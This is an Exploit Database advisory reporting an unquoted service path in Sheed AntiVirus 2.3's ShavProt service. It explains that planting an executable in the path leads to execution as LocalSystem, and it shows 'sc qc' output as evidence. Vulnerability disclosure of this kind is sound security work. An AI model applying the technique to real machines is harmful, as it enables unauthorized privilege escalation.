

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Sheed AntiVirus 2.3 - Unquoted Service Path Privilege Escalation

**EDB-ID:**

40497

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[AMIR.GHT](#)

**Type:**

[LOCAL](#)

**Exploit:**  

**Platform:**

[WINDOWS](#)

**Date:**

2016-10-11

**Vulnerable App:**



EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

```
#####
# Exploit Title: sheed AntiVirus Unquoted Service Path Privilege Escalation
# Date: 11/10/2016
# Author: Amir.ght
# Vendor Homepage: http://sheedantivirus.ir/
# Software Link:http://dl.sheedantivirus.ir/setup.exe
#version : 2.3 (Latest)
# Tested on: Windows 7
#####
```

sheed AntiVirus installs a service with an unquoted service path  
 To properly exploit this vulnerability,  
 the local attacker must insert an executable file in the path of the  
 service.

Upon service restart or system reboot, the malicious code will be run  
 with elevated privileges.

```
-----
C:\>sc qc ShavProt
[SC] QueryServiceConfig SUCCESS
```

```
SERVICE_NAME: ShavProt
        TYPE                : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE           : 2    AUTO_START
        ERROR_CONTROL        : 0    IGNORE
        BINARY_PATH_NAME     : C:\Program Files\Sheed AntiVirus\shgrprot.exe
        LOAD_ORDER_GROUP    :
        TAG                  : 0
        DISPLAY_NAME        : ShavProt
        DEPENDENCIES        :
        SERVICE_START_NAME  : LocalSystem
```

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES ©

[OffSec Services Limited](#) 2026. All rights reserved.